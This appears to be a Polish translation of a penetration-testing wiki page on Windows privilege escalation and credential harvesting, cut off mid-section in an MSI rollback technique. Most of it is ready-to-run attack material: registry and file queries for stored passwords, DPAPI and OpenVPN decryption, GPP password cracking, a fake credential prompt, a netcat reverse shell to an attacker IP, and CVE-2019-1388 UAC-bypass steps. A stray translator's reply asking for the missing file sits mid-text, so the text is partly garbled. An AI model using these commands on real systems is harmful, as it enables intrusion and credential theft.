Sprawdź dostępność usług z ograniczonym dostępem z zewnątrz
netstat -ano #Opened ports?
Tabela routingu
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Tabela ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Check this page for Firewall related commands (lista reguł, tworzenie reguł, wyłączanie, wyłączanie…)
Więcej commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Plik binarny bash.exe można również znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Jeśli uzyskasz root user, możesz nasłuchiwać na dowolnym porcie — przy pierwszym użyciu nc.exe do nasłuchiwania system zapyta przez GUI, czy nc powinno być dozwolone przez firewall.
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root
Możesz przeglądać system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Poświadczenia Windows
Poświadczenia Winlogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Menedżer poświadczeń / Windows Vault
Źródło: https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkownika dla serwerów, stron internetowych i innych programów, do których Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać tam swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby przeglądarki logowały ich automatycznie. Jednak tak nie jest.
Windows Vault przechowuje poświadczenia, za pomocą których Windows może automatycznie logować użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Manager & Windows Vault i użyć przechowywanych poświadczeń zamiast każdorazowego wpisywania nazwy użytkownika i hasła przez użytkowników.
Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, żeby mogły użyć poświadczeń dla danego zasobu. Dlatego jeśli Twoja aplikacja ma korzystać z vault, powinna w jakiś sposób komunikować się z credential managerem i żądać poświadczeń dla tego zasobu z domyślnego magazynu.
Użyj cmdkey, aby wyświetlić listę przechowywanych poświadczeń na maszynie.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Następnie możesz użyć runas z opcją /savecred, aby skorzystać z zapisanych poświadczeń. W poniższym przykładzie wywoływany jest zdalny plik binarny przez udział SMB.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Używanie runas z podanym zestawem poświadczeń.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Zauważ, że mimikatz, lazagne, credentialfileview, VaultPasswordView, lub z Empire Powershells module.
DPAPI
The Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, stosowaną przede wszystkim w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, który znacząco zwiększa entropię.
DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest wyprowadzany z sekretów logowania użytkownika. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domeny systemu.
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} reprezentuje użytkownika Security Identifier. Klucz DPAPI, współlokowany z master key, który zabezpiecza prywatne klucze użytkownika w tym samym pliku, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby pamiętać, że dostęp do tego katalogu jest ograniczony, uniemożliwiając listowanie jego zawartości za pomocą polecenia dir w CMD, choć można je wylistować przez PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby go odszyfrować.
Pliki z poświadczeniami chronione hasłem głównym zwykle znajdują się w:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz extract many DPAPI masterkeys z memory za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).
PowerShell Credentials
PowerShell credentials są często używane do scripting i zadań automatyzacji jako sposób wygodnego przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą DPAPI, co zazwyczaj oznacza, że można je odszyfrować tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.
Aby odszyfrować poświadczenia PS z pliku, który je zawiera, możesz zrobić:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Zapisane połączenia RDP
Znajdują się w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i w HKCU\Software\Microsoft\Terminal Server Client\Servers\
Ostatnio uruchomione polecenia
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Menedżer poświadczeń pulpitu zdalnego
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Użyj modułu Mimikatz dpapi::rdg z odpowiednim /masterkey, aby odszyfrować dowolne pliki .rdg
Możesz wyciągnąć wiele DPAPI masterkeys z pamięci za pomocą modułu Mimikatz sekurlsa::dpapi
Sticky Notes
Użytkownicy często korzystają z aplikacji StickyNotes na stacjach roboczych Windows, aby zapisywać hasła i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się w C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go wyszukać i przejrzeć.
AppCmd.exe
Uwaga, aby odzyskać hasła z AppCmd.exe musisz być Administratorem i uruchomić go na High Integrity level.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.
Jeśli ten plik istnieje, możliwe że niektóre credentials zostały skonfigurowane i można je odzyskać.
Ten kod został wyodrębniony z PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są uruchamiane z uprawnieniami SYSTEM, wiele z nich jest podatnych na DLL Sideloading (Informacja z https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Pliki i Rejestr (Poświadczenia)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH klucze hosta
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in registry
SSH private keys mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc powinieneś sprawdzić, czy znajduje się tam coś interesującego:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest przechowywany zaszyfrowany, ale można go łatwo odszyfrować za pomocą https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Jeśli usługa ssh-agent nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć klucze ssh, dodać je za pomocą
ssh-addi zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użyciadpapi.dllpodczas uwierzytelniania asymetrycznego.
Pliki unattended
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Możesz też wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend
Przykładowa zawartość:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Kopie zapasowe SAM & SYSTEM
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Poświadczenia w chmurze
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Wyszukaj plik o nazwie SiteList.xml
Cached GPP Pasword
Funkcja wcześniej umożliwiała wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała istotne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. To stanowiło poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole “cpassword”, które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, co ułatwia identyfikację i usunięcie tej luki bezpieczeństwa.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed Windows Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Aby odszyfrować cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Użycie crackmapexec do uzyskania haseł:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Przykład web.config z poświadczeniami:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Dane uwierzytelniające OpenVPN
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logi
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Poproś o dane uwierzytelniające
Zawsze możesz poprosić użytkownika, aby wprowadził swoje dane uwierzytelniające lub nawet dane uwierzytelniające innego użytkownika, jeśli uważasz, że może je znać (zwróć uwagę, że bezpośrednie proszenie klienta o dane uwierzytelniające jest naprawdę ryzykowne):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Possible filenames containing credentials
Znane pliki, które jakiś czas temu zawierały passwords w clear-text lub Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Nie otrzymałem zawartości pliku. Proszę wklej zawartość pliku src/windows-hardening/windows-local-privilege-escalation/README.md (lub wszystkich proponowanych plików), które mam przetłumaczyć — przetłumaczę tekst na polski, zachowując dokładnie oryginalne znaczniki markdown/html, linki i ścieżki.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Dane uwierzytelniające w Koszu
Powinieneś również sprawdzić Kosz w poszukiwaniu poświadczeń.
Aby odzyskać hasła zapisane przez różne programy, możesz użyć: http://www.nirsoft.net/password_recovery_tools.html
W rejestrze
Inne możliwe klucze rejestru zawierające poświadczenia
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Historia przeglądarek
Powinieneś sprawdzić bazy danych, w których przechowywane są hasła z Chrome or Firefox.
Sprawdź też historię, zakładki i ulubione przeglądarek, ponieważ być może jakieś hasła są tam przechowywane.
Narzędzia do wyodrębniania haseł z przeglądarek:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) to technologia wbudowana w system Windows, która umożliwia współpracę między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest identyfikowany za pomocą klasy ID (CLSID), a każdy komponent udostępnia funkcjonalność poprzez jedną lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).
Klasy i interfejsy COM są zdefiniowane w rejestrze pod kluczami HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface. Ten obszar rejestru powstaje przez scalanie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
W obrębie CLSID-ów w tym rejestrze można znaleźć podrzędny klucz rejestru InProcServer32, który zawiera wartość domyślną wskazującą na DLL oraz wartość o nazwie ThreadingModel, która może mieć wartość Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) lub Neutral (Thread Neutral).
.png)
W praktyce, jeśli potrafisz nadpisać którąkolwiek z DLL, które będą ładowane/wykonywane, możesz podnieść uprawnienia, jeśli ta DLL zostanie uruchomiona przez innego użytkownika.
Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu utrzymywania dostępu, zobacz:
Ogólne wyszukiwanie haseł w plikach i rejestrze
Szukaj zawartości plików
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Wyszukaj plik o określonej nazwie
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Narzędzia wyszukujące passwords
MSF-Credentials Plugin is a msf plugin, który stworzyłem, aby automatically execute every metasploit POST module that searches for credentials na maszynie ofiary.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające passwords wymienione na tej stronie.
Lazagne jest kolejnym świetnym narzędziem do wyodrębniania password z systemu.
Narzędzie SessionGopher wyszukuje sessions, usernames i passwords z kilku narzędzi, które zapisują te dane in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces także tworzy nowy proces (CreateProcess()) o niskich uprawnieniach, ale dziedziczący wszystkie otwarte handles głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przechwycić otwarty handle do uprzywilejowanego procesu utworzonego za pomocą OpenProcess() i wstrzyknąć shellcode.
Przeczytaj ten przykład, aby uzyskać więcej informacji o tym, jak wykryć i wykorzystać tę podatność.
Przeczytaj też ten inny post zawierający pełniejsze wyjaśnienie, jak testować i wykorzystywać więcej otwartych uchwytów procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko pełnym dostępem).
Named Pipe Client Impersonation
Segmenty pamięci współdzielonej, nazywane pipes, umożliwiają komunikację między procesami i przesył danych.
Windows oferuje funkcję nazwaną Named Pipes, pozwalającą niezwiązanym procesom na współdzielenie danych, nawet przez różne sieci. Przypomina to architekturę client/server, z rolami określonymi jako named pipe server i named pipe client.
Kiedy dane są wysyłane przez pipe przez clienta, server, który utworzył pipe, ma możliwość przejęcia tożsamości clienta, o ile posiada niezbędne prawa SeImpersonate. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, który możesz podszyć, daje szansę na podniesienie uprawnień przez przyjęcie tożsamości tego procesu, gdy wejdzie w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące wykonania takiego ataku można znaleźć tutaj oraz tutaj.
Również następujące narzędzie umożliwia przechwycenie komunikacji named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie umożliwia wypisanie i przegląd wszystkich pipes w celu znalezienia privescs https://github.com/cyberark/PipeViewer
Inne
Rozszerzenia plików, które mogą uruchamiać kod w Windows
Sprawdź stronę https://filesec.io/
Monitorowanie linii poleceń pod kątem haseł
Po uzyskaniu shella jako użytkownik mogą istnieć zaplanowane zadania lub inne procesy, które przekazują poświadczenia w linii poleceń. Skrypt poniżej pobiera linie poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Kradzież haseł z procesów
Z Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączone, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu takiego jak “NT\AUTHORITY SYSTEM” z poziomu nieuprzywilejowanego użytkownika.
To umożliwia eskalację uprawnień i jednoczesne obejście UAC tą samą podatnością. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a binary używany podczas procesu jest podpisany i wydany przez Microsoft.
Niektóre z dotkniętych systemów to następujące:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Aby wykorzystać tę podatność, należy wykonać następujące kroki:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Wszystkie niezbędne pliki i informacje znajdziesz w następującym repozytorium GitHub:
https://github.com/jas502n/CVE-2019-1388
Z poziomu Administrator Medium do High Integrity Level / UAC Bypass
Przeczytaj to, aby dowiedzieć się o Integrity Levels:
Następnie przeczytaj to, aby dowiedzieć się o UAC i UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
Technika opisana w tym wpisie na blogu z kodem exploita dostępnym tutaj.
Atak zasadniczo polega na wykorzystaniu funkcji rollback Windows Installer do zastąpienia legalnych plików złośliwymi podczas procesu deinstalacji. W tym celu atakujący musi stworzyć malicious MSI installer, który zostanie użyty do przejęcia folderu C:\Config.Msi, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas deinstalacji innych pakietów MSI, gdzie pliki rollback zostałyby zmodyfikowane tak, aby zawierały payload.
Podsumowana technika wygląda następująco:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Stwórz
.msi, który instaluje nieszkodliwy plik (np.dummy.txt) w zapisywalnym folderze (TARGETDIR). -
Oznacz instalator jako “UAC Compliant”, aby użytkownik bez uprawnień administracyjnych mógł go uruchomić.
-
Zachowaj otwarty handle do pliku po instalacji.
-
Step 2: Begin Uninstall
-
Odinstaluj ten sam
.msi. -
Proces deinstalacji zaczyna przenosić pliki do
C:\Config.Msii zmienia ich nazwy na pliki.rbf(rollback backups). -
Poll the open file handle za pomocą
GetFinalPathNameByHandle, aby wykryć, kiedy plik stanie sięC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
.msizawiera custom uninstall action (SyncOnRbfWritten), która: -
